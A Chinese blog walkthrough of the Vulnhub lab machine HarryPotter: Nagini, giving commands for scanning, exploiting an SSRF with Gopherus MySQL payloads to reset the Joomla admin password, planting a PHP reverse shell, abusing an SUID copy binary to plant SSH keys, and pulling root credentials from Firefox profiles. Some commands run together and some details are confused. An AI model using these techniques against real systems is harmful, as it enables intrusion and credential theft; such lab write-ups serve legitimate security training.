当前位置：首页 > news >正文

看完这篇教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini

news 2025/7/27 20:47:45

Vulnhub靶机HarryPotter:Nagini渗透测试详解

- Vulnhub靶机介绍：
- Vulnhub靶机下载：
- Vulnhub靶机安装：
- Vulnhub靶机漏洞详解：
- - - ①：信息收集：
    - ②：漏洞发现：
    - ③：SSRF漏洞利用：
    - ④：网站后台GetShell：
    - ⑤：SSH公钥登入：
    - ⑥：root提权：
    - ⑦：获取魂器（FLAG）：
- Vulnhub靶机渗透总结：

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

PS:这个是HarryPotter(哈利波特)系列一共有三个靶机，这是第二个Nagini老样子需要获得root权限找到flag（这里是魂器）即可。

在这里插入图片描述

Vulnhub靶机下载：

官网下载：https://download.vulnhub.com/harrypotter/Nagini.ova

Vulnhub靶机安装：

下载好了把安装包解压然后使用Oracle VM打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

在这里插入图片描述
渗透机：kali IP ：192.168.0.105 靶机IP ：192.168.0.100

使用命令：nmap -sS -sV -A -n -p- 192.168.0.100

在这里插入图片描述

发现开启了22和80端口，先访问一下哈利波特（经典再现）🆗还是老样子dirb、dirsearch、whatweb、gobuster、nikto、gobuster等

在这里插入图片描述
这里发现了/note.txt 和 /joomla两个目录依次进行访问发现是Joomla的CMS框架，这里可以使用joomscan探测（DC3讲过）

DC3链接：https://blog.csdn.net/Aluxian_/article/details/123676768?spm=1001.2014.3001.5502

apt-get install joomscan  #安装一下

在这里插入图片描述

在这里插入图片描述

这里发现后台不知道账号密码先放着然后下载bak文件进行查看得到了一个账号：goblin 但是没密码

在这里插入图片描述

②：漏洞发现：

上面note.txt 有提HTTP3 就是这个域名需要用这个来进行访问所以需要我们来搭建一下（我看网上有些教程没成功）

GitHub项目：https://github.com/cloudflare/quiche

apt-get  install cargo  #安装 cargo  Cargo 是 Rust 的构建系统和包管理器。
cargo  bulid --examples  #命令使用前先装上 cmakevim /etc/apt/sources.list   #换个yuan
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib  #重庆大学yuanBlocking waiting for file lock on package cache  #报错信息
rm -rf ~/.cargo/.package-cache  #这里是装错了报错的解决方法cd  quiche/target/debug/examples  #安装好了运行
./http3-client https://192.168.0.100 #运行一下 正常来说可以探测到漏洞了

在这里插入图片描述

可恶啊我以为成功了结果这里又报了个错说版本太低搞了半天没搞好先跳过吧到时候在研究（会的小伙伴私信一下我也行！）

看了别人的wp 扫出来有个 /internalResourceFeTcher.php 随便测试一下输入京东：https://www.jd.com/ 发现会跳转存在SSRF漏洞

在这里插入图片描述

③：SSRF漏洞利用：

这里要学个新工具：Gopherus 运行后输入数据库类型在输入数据库名称，以及执行的语句然后把生成的payload 放入网页即可执行。

git clone https://github.com/tarunkant/Gopherus.git  #使用python2运行
python2 gopherus.py --exploit mysql # mysql数据库 
goblin  #输入数据库名
show databases;  #查询数据库  发现 joomla 数据库接着查表
use joomla;show tables;  #使用库查询表
use joomla; select * from joomla_users;site_admin #账号
<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay #密文解不出来echo -n "password" |md5sum #md5 加密
5f4dcc3b5aa765d61d8327deb882cf99 #生成的md5值
use joomla;update joomla_users set password="5f4dcc3b5aa765d61d8327deb882cf99" where username="site_admin";

在这里插入图片描述

在这里插入图片描述

使用账号和密码：site_admin/password 登入成功！！！

在这里插入图片描述

④：网站后台GetShell：

在这里插入图片描述
在beez3编辑修改index.php使用kali自带的php-reverse-shell.php

cp   /usr/share/webshells/php/php-reverse-shell.php  /root/桌面
nc -lvvp 1234
http://192.168.0.100/joomla/templates/beez3/index.php  #访问index.php 让其连接回弹
/bin/bash -i
whoami  #查看权限 www-data 低权限 需要提权

在这里插入图片描述

⑤：SSH公钥登入：

进入家目录发现两个用户其中一个存在隐藏文件查看base64解码得到密码：Love@lilly

cd /home #发现两个用户hermoine 和snape
cd snape
ls -al #查看隐藏文件
cat .creds.txt #查看文件内容 base64解码
ssh snape@192.168.0.100 #ssh登入snape用户 
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.0.100"find / -perm -u=s 2>/dev/null #查询具有suid权限的ssh-keygen  #生成SSH私钥 路径在/root/下面
scp id_rsa.pub snape@192.168.15.134:~/  #将私钥文件复制到 snape用户下面
chmod 777 authorized_keys #给权限这里一定要给640  我给的777权限访问拒绝ssh连不进去
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #远程复制到hermoine的ssh目录下

在这里插入图片描述

这里没权限，我们先找一下第一个魂器吧在/var/www/html/下面

在这里插入图片描述

这里就是复制的作用既然可以复制那么是不是可以生成公钥传到靶机然后就不要密码登入了！

在这里插入图片描述

PS: 权限要给640 不然登不进去我开始给的777 改一下就可以了，这里得到了第二个魂器

在这里插入图片描述

⑥：root提权：

在~下面发现了.mozilla目录里面有个firefox 感觉这里面有隐藏的信息比如账号密码什么的使用一个工具：firefox_decrypt

在这里插入图片描述

git  clone https://github.com/unode/firefox_decrypt.git #如果访问不到就 直接下好了 拖进去cd ~
cp -r .mozilla/ /tmp/.mozilla #复制目录
cd /tmp #进入目录
ls -al  #查看隐藏文件
chmod 777 .mozilla/  #赋予权限
python3 -m http.server #开启临时网页wget http://192.168.0.100:8000/.mozilla  ##下载到本机
cd  firefox_decrypt-mainpython3 firefox_decrypt.py /root/.mozilla/firefox   #使用脚本提取（正常来说 肯定ok 我这里不太行 嗨嗨嗨~）

firefox_decrypt 下载：https://github.com/unode/firefox_decrypt

在这里插入图片描述

在这里插入图片描述
这里发现有个问题他传出来的html文件就导致里面的firefox访问不了报错（因为他不是文件）

所以这里我们在使用scp再传一下按理来说应该有的呀但是我这里没在firefox中读出来很奇怪！

最后又试了把文件传入靶机然后在执行然后python3报错算了已经尽力了大家会方法就好了问题不大！

在这里插入图片描述

最终得到账号密码：root/@Alohomora

⑦：获取魂器（FLAG）：

在这里插入图片描述

🆗到这里五个魂器已经都找到了还差两个最后一个靶机是二进制的我不太会所以就先不跟新了！

至此至此获取到了flag，本篇文章渗透结束感谢大家的观看！！

Vulnhub靶机渗透总结：

这个靶机难度高，就是有点费时间麻烦其他都还好

1.信息收集arp-scan -l 获取ip地址和端口信息 web扫描工具：nikto，dirb，dirbuster，whatweb，ffuf等
2.SSRF漏洞的利用 Gopherus工具的使用 MD5sum 生成md5加密值
3.joomscan工具的使用以及http3的搭建（新知识点）
4.网站后台GetShell 以及ssh私钥登入 scp的简单使用
5.firefox_decrypt脚本的使用提取有用信息